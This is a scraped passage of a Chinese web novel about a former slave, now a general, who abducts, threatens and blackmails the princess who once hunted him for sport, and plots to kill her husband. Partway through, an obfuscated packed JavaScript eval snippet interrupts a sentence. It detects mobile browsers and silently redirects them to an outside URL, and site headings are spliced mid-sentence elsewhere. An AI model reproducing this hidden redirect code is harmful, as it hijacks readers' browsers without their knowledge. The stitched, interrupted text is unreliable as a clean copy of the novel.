“可笑,不过一介玩物,还想要我的爱……你千万不要喜欢上我哦,我不需要爱人,我只要爱犬。” 她笑得甜美,把玩着手里的开合玉连环,系上他的脖颈,“这副玉连环果然好看,我在宫外看到时就觉得,一定适合你。” 说这话时,她天真无邪的脸笑得嫣然,手指抚过他脸上凹凸不平的刺青:“乖,我还是喜欢看你当狗的样子,再叫一声主人听听?” 魏溱摸向自己的脸,曾经刻有“月”字刺青的位置已经平滑如初。 他嘲弄扯了下唇,眸中迸发出淬骨寒意,手一寸寸攀上她纤白的脖颈。 …… 正月的湖水带着砭骨的寒意,侵入女子体内。 意识越来越模糊时,周漪月感觉有人抓住她的手臂把她用力往外拉,掌心热度传上她的皮肤。 水中的窒息感一阵接着一阵,她觉得自己像是经历了一场噩梦,等到睁开眼时,直直撞入一双深不见底的长眸之中。 面前一个陌生男子半蹲在她身前,浑身酒气,就那样默默注视着她,手上还拿着她的大氅,另一只手悬在半空,离自己的脸颊不过几寸距离。 周漪月的意识乍然清醒,啪地将那只手打开,“什么人!” 她咳嗽不止,身 6.压制 《折辱敌国将军后》全本免费阅读 “嗒……嗒……” 衣袍下摆还滴着水珠,一下一下砸在周漪月心上。不知是因为寒冷还是恐惧,她的手开始颤栗。 她自知不是他的对手,与这个高大的男人相比,她就像是狼犬面前的鸾鸟,一口便能被吞噬入腹。 船舱外传来禁军的呼喊声,周漪月余光瞥到几丛火光,似乎有人正朝这边过来。 她咬了咬发白的嘴唇,努力压下声音的颤抖,“你我这般僵持也是无用,不如先放开我,我们心平气和好好谈一下。” 男人抿唇不语,默了半响才缓缓将她松开,双手抱胸倚着舱壁:“公主殿下准备和我谈什么?” 周漪月了揉手腕,迟疑着开口:“你说你是我的救命恩人,方才是你将我从水里救上来的?” “殿下觉得呢?” 她垂下眼帘,露出愧色,“是我不好,我身在后宫甚少出门,从没经历这样的事,一时心悸,难免对公子出言不逊。公子是我的救命恩人,我定会禀明父皇,好好奖赏公子。” 细弱的声音在寒风中发颤,女子双目绯红,看上去好不凄楚。 “至于公子说此前认识我,恕我眼拙,实在想不出公子是谁。我们刚在冷水里泡过一遭,如此耗着只怕身体受不住,不如我将公子请进宫内,待恢复些体力再慢慢回想。” 冷风掀起帘子一角,她浑身颤抖,手臂抱紧了身子。 男人勾了勾唇,“殿下若早些说软话,在下也不会如此相逼。” 他敛衣起身,给她让出一条路来,周漪月松了一口气,手扶着侧壁从他面前弯身而过。 手还未触及帘子,冷不丁被他捉住胳膊拽了回来,周漪月一下跌坐在他怀里,后背贴上他满是湿气的胸膛。 “你干什——” 她正要惊呼出声,嘴被他一把捂住。 “唔!” “公主殿下,当我是三岁小孩么?” 周漪月头顶上方传来男子的冷嗤,语气不带丝毫温度,“我若放你走,只怕今夜便会命丧于此。” “我猜,公主刚才一定是在想,只要我装出无辜可怜的样子这个登徒子哄骗过去,等一出这个船,就命令禁军即刻射杀此人……我说的没错吧?公主虚情假意的手段,我领教过不知多少回了。” 周漪月双目睁大,瞳孔一点点散开。 船外几簇烟花绽开,光亮透进船舱内,映出女子脸上的恐惧。她拼命挣扎,嘴里呜咽着,可男人的胳膊就如铁钳一样箍着她,让她动弹不得。 “放心,此处很隐蔽,今日是元夕,又有公主和驸马仪驾来此,湖上不下一千只这样的船。他们想找到这里,至少需要一个时辰。” 他的意思不言而喻,这么长的时间,可以做很多事。 周漪月被死死压在他胸口上,男人身上的冷冽气息不由分说涌入鼻端。 “唔……唔……” 她拼命挣出一只手,拔下头上簪子狠狠朝他手臂上刺去! 魏溱吃痛,手臂一下子松开,周漪月趁此间隙猛地推开他朝船外逃去。 迎面是一大丛枯败的芦苇,前几日的雪融化成了泥水,周漪月跌跌撞撞向岸上跑去,裙压过一片苇草。 枯枝随风摇曳,似有千军万马,周漪月大声朝人群那边呼救,呼喊声却完全被烟花的声音掩盖。 她没跑出几丈便被追上,被一把攥住拉了回来,抵在粗粝的树干上。 “滚开!” 他拼命反抗,奈何男人力气很大,周漪月听到自己背部传来重重的闷响,脊骨像要被撞碎。 魏溱掐住她的下颚,血顺着手臂滑下,滴落在女子身上,将她皓白的绒领染成鸽血红。 他俊美的面容因疼痛变得猛厉,湿漉漉的发丝贴在脸上,犹如刚从水里爬出的鬼魅,朝她幽幽一笑:“是我忘了,公主向来心狠手辣,一身反骨,哪怕折断自己的手脚也不肯任人宰割的。” 他捉住她的手按在自己的胸口,周漪月大惊,“你做什么?” “做什么?不是忘了我了么?我现在就让你想起来!” 他强迫她拉开自己的上衣,露出精壮的上身,衣衫下的肌肉线条贲张有力,布满大大小小的疤痕。 “周漪月,我在你身边服侍四年,被你像畜生一样关在笼子里,当你的猎物供你玩乐,我身上近百道伤皆是拜你所赐!你仔细看着这些伤,看着我的眼睛告诉我,我是谁!” “当年因为你一句话,我寒冬跳入水里找你喜欢的那尾锦鲤!殿下,冷水的滋味如何?那种窒息感和绝望感,你可能体会到我当年的万分之一?” 他再次回这梁夏国,就是为了她! 她要她每一分每一秒都活在恐惧中,当年她加诸在他身上的痛苦,他要她加倍偿还! 周漪月已听不到他在说什么了,男人的暴怒压得她喘不过气,加上落水后的惊悸,将她最后一丝意识击溃。 胸腔一阵一阵起伏,几乎是刹那间,她脑中那根弦“铮”一下崩断,眼前一黑,身体软绵绵倒了下去。 “殿下?” 魏溱堪堪接住了她,这才发现周漪月云鬟上已经覆了一层冰渣,脸色惨白到发灰,只余几道掐出的指印。 他眉头紧蹙,探了探她的鼻息,呼吸微弱不可闻,手上的温度更是低到不像话。 “几年不见,竟变得这么娇弱。”他冷笑了瞬,神色淡漠,“今日就先到这里罢,放心,我很熟悉游戏规则,不会让你轻易死的。” 来日方长,他们有的是时间慢慢周旋。 此时禁军的呼喊声愈发近了,魏溱拢好自己的衣服,抱着周漪月走到一处显眼平地上,在禁军发现的前一秒转身离开,玄衣一点点融入黑夜。 苇丛外某暗巷内,魏溱的几个手下早已候在他们约定好的地方,见他浑身湿了个精透,胳膊上还往外渗着血,惊问:“少将遇袭了!” “无碍。”魏溱披上斗篷,拿布条随意绑在伤口上止血,伤口很小,但行凶人定是用了很大的力气,口子下似乎能看到白骨。 魏溱对自己身上的伤无动于衷,头也不抬道:“交代你们的事办好了吗?” “回将军,属下们已办妥,方才禁军都在忙着捞人,没有任何人发现。” 魏溱点头,修长的眼转向远处璀璨烟火,手里不知何时拿了一支女子的金簪。 上面装饰用的灯笼球已经掉了一只,簪尖还沾着鲜红的血,他手指有一下没一下地摩挲着簪身,不知在想些什么。 随从们冷不丁撞上他那深不见底的眼神,心下砰砰直跳,不敢多言一句。 湖岸聚集的都是看热闹的人,乌泱泱一大群,闻祁在岸边来回踱步,生生将积雪踩陷三寸。 “大人,找到了,找到了!” 闻祁急匆匆随众人赶了过去,拨开禁军向前,见周漪月虚弱躺在地上,已经是不省人事。 他脱下自己的外衣给她披上,将人包裹好拦腰抱起:“疏散这些平民,马上回宫,召集太医院为公主诊治!” 众人得了令,立马为两人让开一条路来。闻祁将周漪月抱回车内,小心放在松软的褥垫上,擦干周漪月脸上的水。 “公主,醒醒,醒醒。” 他轻声呼唤,帮她脱下湿透的外衣,周漪月的皮肤裸露出来,闻祁脸上神情凝滞住。 她的脸上、肩上、胳膊上和手腕上都印着一道道掐痕,已经变成了青紫色。 他看着那些陌生的痕迹,心中疑窦丛生,眉头紧锁。 “闻郎……闻郎……” 周漪月蹙着眉,像是刚经历一场噩梦,闻祁捧着她的手,“公主,我在这里,别怕,我们马上就回去。” 他将她搂在怀里抱得更紧了些,“是我不好,对不起。” 霎时,一声巨响在远处炸开,整个车厢都在震颤,两人险些栽倒。 车外一阵骚动,闻祁掀帘问侍卫:“发生了何事?” “回驸马,好像是玉渊湖那边传来的动静,待属下前去查看究竟。” 没多一会,那人回来禀报:“驸马,玉渊湖中不知为何发生爆炸,京兆尹府已在疏散周边平民。” “可有人受伤?” “爆炸发生在湖中央,死伤情况暂不知晓,只是……那爆炸是在猎月楼处炸开,猎月楼已被炸成了粉碎。” 猎月楼…… 闻祁心中一时惊涛骇浪,看向一旁昏迷的周漪月,她眉头紧锁,好似在经 7.猎奴 《折辱敌国将军后》全本免费阅读 床帷内散发着淡雅馨香,金丝鸳鸯枕上的女子眉头轻蹙,红纱被盖在身上,像压着一座千钧重的大山。 耳畔萦绕着炭火燃烧的噼啪声,梦境似乎也变得炙热起来,目之所及届是黄沙和旌旗,被长风吹得猎猎作响。 风沙扑面而来,吹得她的脸生疼,她眨了眨眼,视线逐渐清晰,开始清晰地感受到眼前的一切。 这里是……京郊猎场? 京郊皇家猎场,专供王公贵族比试骑射,后来有了御马苑,这处猎场便少有人踏足。 除了她,周漪月。 太监宫女们给她让出一条道来,对她的到来已经习以为常。 周漪月从他们面前走过,见到远处有个少年背对于她。浑身缠着锁链,衣不蔽体,露出宽阔的上身,蜜色肌肉饱满有力,灰蒙蒙的天勾勒出他优美的身体线条,在阳光下镀着淡淡光华。 可那皮肤上全是乌青的伤痕,每一道都狰狞可怖,少年长发汗湿,凌乱垂在额前,遮住了他的面貌。 他的模样一定很好看,可惜周漪月看不清。 少年挣扎着,如砧板上等待着刀俎落下的鱼,嘴里爆发出兽般的嘶吼,听得人心里一紧。 一个太监挥鞭打在他身上,“给公主当猎奴是你的福气,再叫唤拔了你的舌头!” 本就伤痕累累的皮肤又添血痕,少年的嘴角渗出了血,面容笼罩着一片阴影,她看不清他的脸,可那高大的身形却异常熟悉,像是刚在哪里见过。 宫人们拈起一抹朱砂,涂抹在他的背上,像在进行什么古老的仪式。接着,有人将他身上的锁链摘下。 周漪月听见自己笑着对他唤道:“跑啊,快跑。” 霎时,少年挣脱开所有人向外狂跑,周漪月失笑,笑意如三春桃花般灼然,从囊中取出一支箭,双目注视前方,箭头对准少年背上的朱砂印,又滑到他脚边。 一箭出,从少年小腿上擦过,划出一道血痕。 周漪月啧了一声:“歪了。” 风声乍起,下一箭如流星从耳畔划过,正中少年背上的朱砂印。 一箭穿骨,周漪月几乎能听到皮肉裂开的声音。 少年滚入尘埃,又被人像烂包袱一样提了起来,带到她面前。血洞般的眼睛直勾勾看向周漪月,想是要把她吸进深渊。 周漪月被那眼神烫了一瞬,就在她要看清他的脸时,一股异香钻入鼻端,少年的眉眼开始变得扭曲、撕裂,眼睛和嘴角流出殷红的血,宛如地狱中的恶鬼…… “啊!” 周漪月惊恐叫出声,发现自己身处自己的寝宫,后背已经湿透,冷汗黏腻在身上。 “公主?公主醒了?”齐嬷嬷正守在床边,见她一副惊恐不定的样子,温声安抚她,“公主怎么了,公主别怕,这里是朝珠宫。” “嬷嬷,我看见他了!他没死,他回来了,他回来了……” 他回来了,那个少年回来了,来找她复仇了! 她看清了他的脸,就是在玉渊湖劫持她的人! 周漪月方寸大乱,不停重复着相同的话,齐嬷嬷却好似不甚在意,给她端了盏茶,“公主是靥着了,您从会仙楼坠落,回来后便害了风寒。昨夜驸马和御医们守了一夜,奴婢好说歹说才劝驸马去东偏殿歇息了。” 她攥紧齐嬷嬷的袖子:“快,快叫驸马过来!我有事要告诉他!” “是,奴婢这就去。” 齐嬷嬷给周漪月垫好玉缕金带靠枕,临走前,往桌上的博山炉加了一勺香粉。 周漪月捂着自己的头,脑子里像有野兽在叫嚣,挣扎着要跑出来。 安神香香气馥郁,直往周漪月鼻端里钻,不过片刻,脑海里的野兽声势渐颓,开始偃旗息鼓,周漪月感觉自己的心绪一点点平静、平息下来。 闻祁匆匆赶来时,见到的就是这样的场景,周漪月身着单衣,静坐于层层鲛纱帘之后,脸上不见任何表情,双目出神望向帷顶,眉眼间尽是迷茫。 “公主怎么样了,身体可还有不适?” 床上的女子被唤回神思,缓缓转向他,闻祁怔了一瞬,他难以描述周漪月眼里的情绪,只听她声音沙哑道:“驸马,我醒后有很多话想跟你说,但现在,我怎么也想不起来了。” 方才,就在方才,她的身心还处在极度痛苦的状态中,只是过了这么一会儿,她就全部忘了个干净。刚想抓住什么,记忆就被强行泯灭在心底深处。 她的红唇几乎无一丝血色,柔弱得让人心疼。闻祁何尝见过她这般心神不宁的样子,心里越发后悔,后悔不该昨夜带她出宫。 嘴上冲她安慰一笑:“我家公主一向天不怕地不怕,怎么会露出这般楚楚可怜的样子?” 他揽住她瘦削的肩,往自己怀里带,脸贴上她绸缎般的秀发:“公主是不是做噩梦了,别怕,我在这里,公主想说什么就对我说,忘了也没关系,忘了,说明不是什么要紧的事。” 周漪月伏在他怀里,宽厚的手掌包裹住她的手,掌心传来的温度让她的神志堪堪落了地,混沌的意识一点点变得清明。 手腕上的掐痕落入她的视线,她像被什么烫了一下,唰地抽回了自己的手,把衣袖狠狠往下拉。 不,她不能告诉他。 两人成婚多年,闻祁知道自己性情顽劣,喜欢与名士游山玩水,只要不是太过分,往往是睁一只眼闭一只眼,顶多说一句别玩得过火,或是注意皇室脸面。 可成亲前她的那些行为,绝不是顽劣可以概括,而是冷血,残忍,恶劣……所以她才会找那些死了也无人在意的罪奴,这样便能玩得毫无顾忌,在事后不留任何痕迹。 昨日那个歹人她实在记不起是谁,但从他说的那些话看,应该是从前被她折磨过的罪奴之一。 罪奴出身,想来也不是什么重要人物,只要找到此人解决了他,她便没有后顾之忧了。 周漪月觉得自己定是吓昏了头,有如此简单的解决方法,根本不需要驸马出马帮她解决。待此人消失之后,自己还是金枝玉叶的公主,还是受驸马宠爱,受万人艳羡的周漪月。 闻祁见她抽回了手,坐在那里沉思不语,讪讪问她:“怎么了,可是想起了什么?” “没什么。”周漪月恢复了往日的神情,嫣然一笑,“驸马,我有些饿了。” “好,齐嬷嬷已去御膳房吩咐了,御医开的药已经熬好,等喝了药饭菜就送上来了。” 他将桌上的玉碗端过来,周漪月看了看碗里乌黑的汤汁儿,五官皱了起来,“闻着好苦啊,我不想喝。” 闻祁拿勺子搅了搅药,舀了一口吹凉,笑道:“今早皇后娘娘听说公主害了病,将我好一顿数落,公主若是不快些好,只怕我有大麻烦了。” 周漪月看到他眼下的乌青,眉头蹙起,“母后为难你了么?” 他还是那副温温柔柔的语气,将勺子递到她面前,“没有,是我心里愧疚,若是能安排得妥当些,公主就不会受这种罪了。” 闻祁就是这样,他会纵容自己所有的小性子,再想尽办法承担所有可能带来的风险。 她不想喝药,他便不勉强,只是会将可能带来的结果告诉她,让她自己选。 周漪月看着近在唇边的那勺药,抿了抿唇,端起他手中药碗一饮而尽。 因为喝得太快,胸腔涌上一阵恶心感,险些要吐出来时,闻祁伺候她喝下清水漱口,又将一块桂花雪酥塞到她嘴里。 甜香气在口腔散开,驱走了药汁儿的苦味,周漪月眉头渐渐展开。 她笑着凑近,在他脸上蜻蜓点水吻了一口。 闻 8.劫车 闻祁走后,周漪月吩咐吩咐所有宫人退下,只留下齐嬷嬷给她磨墨。 她闭上眼努力回忆昨晚那个歹人的长相,他的眉眼、身形、衣着,手中狼毫笔沙沙在纸上作画。 画好后她拿给齐嬷嬷看:“嬷嬷可记得此人?” 齐嬷嬷看向画纸,画上是一个英俊的男子,剑眉鹰目,英气逼人。 她略略看了一眼便低下头,手上动作未停,磨着价值不菲的宣德墨锭,“公主,奴婢不记得了。” “嬷嬷,事关重大,你再仔细回忆一下,毕竟时隔多年,人的相貌可能会发生变化。”周漪月沉声道,“我昨夜落水后遇上一个疯子,他对我说了一通云里雾里的话,什么让我把他想起来。我猜测,此人兴许是我接触过的罪奴。” “他的手很粗糙,全是薄茧,面相冷厉,应该是武人一类……看衣着打扮,像是大晋来的。” “我记得近来有不少晋国人入京,只要我拿着这幅画像,早晚能将此人找出来。” 找出来,将此人千刀万剐,以泄她心头之恨。 周漪月眼神里的恨意几乎要溢出来,齐嬷嬷认真看向她,“公主殿下,人死不能复生,当年那些罪奴是老奴亲自看着他们一个个咽气的,尸体全部被送到了乱葬岗,乱葬岗多有野兽出没,没有人能活下去。” “而且公主成亲后,猎场的所有知情人皆被奴婢处置了个干净,每一个都是奴婢亲自动的手,看着他们咽下最后一口气的。” 齐嬷嬷从小看着周漪月长大,她的心狠手辣,残忍无情,她几乎学了个十成十,久而久之,曾经那些难以接受的事,已经能平静从她嘴里道出。 周漪月闻言也不欲勉强她,又问:“那嬷嬷,那些罪奴里可有人让你印象深刻?” “回公主,那些罪奴都是大差不差的,公主也只是和他们玩乐,玩腻了便吩咐奴婢处置他们。公主待他们一视同仁,并无差别。” 周漪月垂下眼帘,“这倒怪了。” 到底是她记性不好,还是说此人只是个胡言乱语的疯子? 可既是疯子,又怎会知道自己养猎奴一事?他的目的是什么,威胁?复仇?她通通不得而知。 但她绝不会坐以待毙。 齐嬷嬷问:“公主是金枝玉叶,想处死一个庶人易如反掌,为何这般忧虑?” 周漪月卷起画纸,面色凝重:“嬷嬷想,若他真是罪奴,一个已经死过的人出现在你面前,刻意接近你,还想杀了你,你会不会想找出此人?更何况,在明他在暗,谁知道他会不会那天再像昨夜一样突然出现想伤害我?” 她现在就像行走在烟雾弥漫的密林,不知什么时候就会蹿出一只猛兽将她撕成粉碎。 “而且我现在愈发觉得,我昨夜的落水可能不是巧合。还有那猎月楼,我可不相信只是一个意外。” 闻祁没有跟他提猎月楼的事,她是从侍女那里得知的。 这么大的手笔,还真是看得起她,周漪月在心里冷笑。 她将画像收好装进卷筒:“给我备车,我要出宫。” 齐嬷嬷面露讶异:“公主,您病还未好全,怎可在外面受风?而且驸马刚吩咐过,公主今日应该好好休息,叫您别乱走走动,万一出了什么差错驸马怪罪下来……” “今日驸马不在宫内,没人发现,若是驸马问起来,便说是我一意孤行,与你们没有任何关系。” “可是……” 周漪月抬眸看了她一眼,凤目染上冰霜,“嬷嬷,我并非在征求你的意见,而且,我从不拿自己的性命开玩笑。” 齐嬷嬷见她态度坚决,叹了口气,终是妥协:“是,奴婢这就去办。” 周漪月换上了常服,只一身天水碧色襦衫长裙,头戴幂篱,遮住了自己的容貌,走之前还从匣子拿出一把银雕匕首带在身上,以防万一。 因是微服出宫,她只带了几个侍卫,所乘的也是低调的青蓬黑漆马车。 一行人离开朝珠宫后,在暗中观察她的那人也随之离开。 四方馆接纳各国使臣,建筑华丽宏伟,以显示天朝上国风范,一缕晨光洒上屋檐,冰凌滴水成珠。 屋内,暗卫将周漪月从昨夜到现在的行踪一五一十地汇报给座上男子,桩桩件件事无巨细,连朝珠公主早膳哪几道菜多夹了几筷子都记得一清二楚。 魏溱姿态慵懒倚坐着,撑着头问了句:“凌云,朝珠公主与驸马关系如何?” 被叫作凌云的男子道:“如胶似漆,恩爱非常。” 这是他精准总结出来的八个字。 “朝珠公主为天下女子所艳羡,所穿衣着服饰,所用玉佩绢帕千金难求,原因便在于她有一个精明能干的驸马,此人为官清廉,人皆称颂,梁帝也对此人甚为器重。闻祁不近女色,无婢女无通房,从不出入烟花巷陌,对朝珠公主宠爱万分,世人皆称两人佳偶天成。” “这位驸马爷还真是完美无缺。”魏溱不可闻冷笑了声,满是嘲讽和不屑,“朝珠公主现在在做什么?” “换上便装,往京兆尹衙门去了。” 魏溱登时猜出她的意图,晋人入京,京兆尹府一定有记录可查。 倒也不算笨,可惜,这种方法是找不到他的。 “倒真是将我忘得一干二净。”魏溱勾起唇角,“凌云,你说女子是不是都是这般凉薄,喜欢你时便的柔情万种,不喜欢了便一脚踢开赶尽杀绝,再转头忘个干净?” 凌云默了半响,“属下不懂女子的心,可属下想着,将军既然如此恨这个女人,何不寻个机会将她杀了?昨夜将军明明可以看着她活活淹死,却为何又将人救起来?” “还有,水中雷威力巨大,将军完全可以将那两人炸死,却只是炸掉了一个无关紧要的猎月楼。” 魏溱没有说话,只淡淡瞥了他一眼,眸中划过寒光。 明明没说一句话,冷岑杀意却扑面而来,凌云只觉双肩重若千钧,不由自主跪伏于地:“属下多言,将军恕罪。” 魏溱嘴角勾起诡异的笑。 “你不懂,猎杀的乐趣,是看着猎物一点点失去所有,孤立无援又无能为力,如困兽般绝望挣扎的样子。” “她有高贵的出身,丈夫的宠爱,万民的追捧。我偏要她余生的每一刻,都像身处地狱,她的骄傲、荣誉、美名,我会一个不落地从她手里夺走—— “猎月楼,仅仅是一个警告。” 凌云没说话。 眼前男子本就长着一张俊美若妖的脸,每次他这般勾唇冷笑时,他都以为自己见到了恶鬼。 或许,他真是恶鬼也说不定。 多年前,他奉魏溱父亲之命前来梁夏寻找他的独子,他几经辗转找到魏溱时,他已经被折磨得体无完肤,被人像垃圾一样扔出了宫,扔到乱葬岗。 可他没死,他从成堆的尸山中活了下来,身披血污,茫然无措地看着他,像是被人丢弃的玩偶,嘴里不停喃喃着“阿月”这个名字。 乌鸦盘旋其上,凄厉哀鸣,他像一个被贬谪的神祗。 凌云正回忆时,有人推门而入。 他朝门那边看去,只见一个身穿藕粉色厚袄的女子莲步轻移进了屋内,眸含春水,眉眼有些怯生生的,一颦一笑带着勾人的风尘气。 “见过魏将军。”女子声音娇柔如水,朝魏溱行了个万福。 “你来了。”魏溱淡淡道。 凌云辨认了一番,似乎是昨夜教坊司的那个女子,顿时心生不解。 魏溱看出他脸上的疑惑,并无解释,而是朝那女子淡淡一笑:“锦绣姑娘方才说想投靠于我,说的可是真?” “回将军,是。” 锦绣目光坚定,柔声道:“世道艰难,妾身风尘贱质,原本依附齐国公门下,倒也算一方安稳地。如今国公府树倒猢狲散,妾身流落教坊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12929431|135966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不甘为奴为婢,过那种一双玉臂千人枕,一点朱唇万人尝的日子。” “有勇气。”他俯下身,声音近乎蛊惑,“为什么选择我?” “将军识破妾身的计俩却网开一面,是为大恩,妾身自当衔草相报。妾身能看出将军是做大事的,需要人为您做事。妾身择一主而终,从今往后定会一心跟着将军。” 这话半真半假,想投靠的意思倒是真切,凌云看着座上的魏溱,他面带笑意,似乎对这样的话很受用。 魏溱道:“想要待在我身边,是需要筹码的。” 锦绣激动抬头:“只要将军吩咐,奴婢什么都愿意做!” “是吗?” 魏溱捏住她的下巴,将她的脸慢慢抬起:“那,我要你去伺候一个男人,你可愿意?” 锦绣身子僵了僵,魏溱继续说:“此人是当朝朝珠公主的驸马爷,我想让他死,死在你身上,死得身败名裂,可能做到?” 他说这话时声音很轻,落在锦绣耳朵里,犹如惊雷。 让当朝驸马死于马上风,不是他疯了,就是自己疯了! 锦绣的身子开始轻微颤抖,她突然意识到,自己招惹了不该惹的人。 魏溱从袖中拿出一支金簪插在她发髻,抬起她的脸端详:“这么好看一张脸,没有男人不会心动。” 他凑上前,在她耳边耳语几句,锦绣的听着听着,眼睛一点点睁大。 京兆尹府内,仆侍将茶水给贵人倒上,躬身退了出去。 周漪月开门见山,将自己的来意大致说了说,府尹捋了捋胡须,面露为难:“公主既然吩咐了,下官定当效力,只是这几日入京城的晋人不少,若是一个个查起来,怕是需要不少人手。” 言下之意是,京兆尹府没有这么多的人力精力。 “大人放心,我并非想为难大人,只是此人与前不久猎月楼爆炸一事有关。猎月楼一事实在恶劣,致使墉都城人心惶惶,若大人抓住此人严加拷问,定能真相大白,还京城一片清明。” “还有,可以命画师多画几幅画像,在各处城门严查来往行人,尤其是晋国打扮的男子,一旦发现,立马差人来皇宫知会于我。” 府尹应道:“殿下放心。” 与府尹交代完毕后,周漪月一行乘车回宫。 暮色降临京城,马车晃晃悠悠穿过喧嚷的长街。 路边不时有京城人在讨论昨日玉渊湖的爆炸,闲谈声传入周漪月耳中。 “历来帝王骄奢淫逸,不修德行,上天都会降灾示警,我看那猎月楼的爆炸像是警告啊。” “听说昨夜死了不少人。真是没天理,公主喜好玩乐与我们这些老百姓何干!” “可怜那些无辜受罪的人喽!” 周漪月垂下眼帘,就在昨日,这些人还在赞颂着她的美名,不过一夜之间,全都变了样。 虽说没有证据,但她总觉得猎月楼的爆炸跟昨夜的男子脱不了干系。 她手攥成拳又松开,疯狂想着要怎么杀了此人解恨。 车辚辚向前,许是喝药的缘故,周漪月就这般睡了过去,待再掀开眼帘,双目睁大,猛地往车窗外看去—— 这不是回宫的路! 车身剧烈震了一下,周漪月手扶着侧壁保持平衡,意识到是马夫那边传来的动静,顿时生出不祥预感。 果然,一转头,一个男人的手掀开帘子,冷风随之灌进车厢。 他手腕处露出一道暗红的伤口,伤疤略显狰狞。 是周漪月昨夜拿簪子刺出的伤。 魏溱探进身子,高大修长的身形将车厢堵得密不透风。 一身鸦青色暗纹圆领锦袍,腰系铜带,别着一把长剑,还是如上次一般的利落打扮。 阴鸷的眼睛微微眯起,目光利刃般刺过来。 四目相对,压迫感扑面而来,周漪月听到自己的心在砰砰狂跳。 9.亲近 这次没有落水后的狼狈,她反应很快,拾起茶几上的花瓶朝他掷去。 男人侧身躲过,一把接住那花瓶。 “别过来——” 周漪月抽出匕首,魏溱眼疾手快转了身形,捉住她手腕轻轻一折,匕首当啷坠地。 他拿起匕首在手里转了个花儿,刀尖对准周漪月:“殿下如果不想自己做的事人尽皆知,最好安静一些。” 周漪月气到浑身发抖,眼里满是恼怒和不甘,“阁下三番五次劫持当朝公主,足以判你满门抄斩!” “公主殿下想要我的人头,得先抓住我才行啊。出门只带这么些人,实在粗心大意。” 魏溱嘲讽勾唇,好整以暇倚靠车厢侧壁,“殿下拿着我的画像转了一日,是在睹物思人吗?” 周漪月手攥成拳,掌心渗出了汗,此人竟跟踪自己跟踪了一整日,还把自己的意图摸得一清二楚! 她带的侍卫们此时已被他控制,周漪月再次陷入被动,努力让自己的声音听起来没那么慌乱:“说吧,你有什么要求,我怎么做你才肯善罢甘休?” 魏溱没有正面回答,只冷声问她:“想起来我是谁了么?” 周漪月抿了抿唇,“你是服侍过我的罪奴,是吗?” 魏溱眼神示意她继续往下说,可周漪月只是说了这么一句便噤了声。 “看来我高估殿下了。”他剑眉一点点蹙起,面上浮起冷怒,“既然如此,我和殿下玩个游戏吧,说不定玩完这场游戏殿下就能想起过去的事。” 周漪月怔了瞬,顺嘴接道:“什么游戏?” “玩我们曾经玩过的游戏。”魏溱上下扫视周漪月的衣着,“殿下这身打扮不合适。” 周漪月双目睁大,脸上满是难以置信,魏溱却根本不容她拒绝,吩咐外面的人:“去给公主殿下找一身衣裳,越华丽越好。” 周漪月咬碎一口牙:“何必费这些周章?若你是来找我算账的,我们不妨开门见山,你直接告诉我你是谁,我对你做过什么,你又想怎么对付我?” 男人转了一下手里的匕首,寒光映面,他还是那句话:“我只是想跟殿下玩个游戏罢了。” 周漪月怒火攻心,若此时她手上有刀,定要将此人大卸八块! 但她知道自己不能失去理智,也不能被他牵着鼻子走,当务之急是尽可能摸清对方的底细。 她开门见山:“猎月楼的爆炸是你做的?你为什么要这么做?” 魏溱没有说话,但他的沉默已经告诉了周漪月答案。 她深吸一口气,又问:“你是晋国人,为何会流落到梁夏成为罪奴?还有,你是怎么活下来的?我身边所有罪奴都死了个干净,没有人能活下来。” 魏溱讥诮勾唇,终于有了反应:“殿下果然阴狠毒辣,喜欢把事做绝。 “不过我劝你不要做这些无用功,你套不出我的身份。” 周漪月不动声色:“所以我就只能乖乖听你的话,任你宰割?” “对。”他毫无廉耻来了句。 “若我不同意呢?” “你不会。” 他手上不知何时多了一枚玉扳指,南岫玉质地,熟悉又独一无二的纹路,周漪月一眼认出是闻祁早上戴的那枚。 周漪月浑身颤抖:“你到底想做什么?!” “殿下乖乖听话,我保你驸马安全,倘若不然……” 剩下的话,他没有说出,周漪月听那威胁的语气,脸色已经不能用难看来形容、 气氛僵硬到近乎窒息,此时车外的人递进一个包袱,魏溱将东西扔给她:“换上。” 周漪月看着包袱里那套华丽的衣服,没有任何反应。 魏溱冷嗤了一声,欺身上前一手撷住她下巴,目光阴寒:“我劝殿下不要再挑战我的容忍度,我不会让你死,但我有很多法子让你痛不欲生。” 说罢便将她一把甩开,周漪月的头磕上车壁,疼得她倒吸一口凉气。 “混蛋……” 骂归骂,周漪月知道眼下不宜和此人逞口舌之快,一边瞪着他一边扯开包裹将衣服取出。 那是一件金线绣花衣裙,浓郁到暗沉的绛红色,衣领低垂,腰间还挂了许多银链作装饰,里里外外透着一股风尘气。 这件衣服摆明是想羞辱她,她冷冷看了一眼面前的男人:“你是让我在这里换吗?” “有什么问题?”魏溱双手环胸,“怎么,这么多年过去,殿下竟长出了羞耻心?当年殿下正泡着温泉撒娇说自己脚崴了,让我把你从浴室抱到秋千上。还说我身材好,喜欢被我抱着走,走到哪就要抱到哪,像是没长腿似的,有时候来了兴致还喜欢往我胸上咬。” 周漪月面色青一阵白一阵,面前男人却脸不红心不跳,语气平静到没有任何起伏,仿佛只是在聊体己话。 魏溱欣赏了一下她脸上的羞辱感,“殿下放心,我跟你不一样,虽然我们有过肌肤之亲,但我还没有恶劣到对仇人的身体感兴趣。” “你想激怒我?” 周漪月整了整自己的衣服,声音冷静下来:“我对你的说的这些一点印象都没有,谁知道你说的是真是假?说不定阁下跟京城里那些世家子弟一样,因为过于爱慕我得了失心疯,这才编出这些话来。” 魏溱双目眯起,眉眼肉眼可见凌厉起来。 周漪月意识到他的忍耐已经快要到极限,她不知道这个疯子还会做出什么丧心病狂的事,只能先顺着他的意思来。 她妩媚一笑:“好,不就是换衣服吗?” 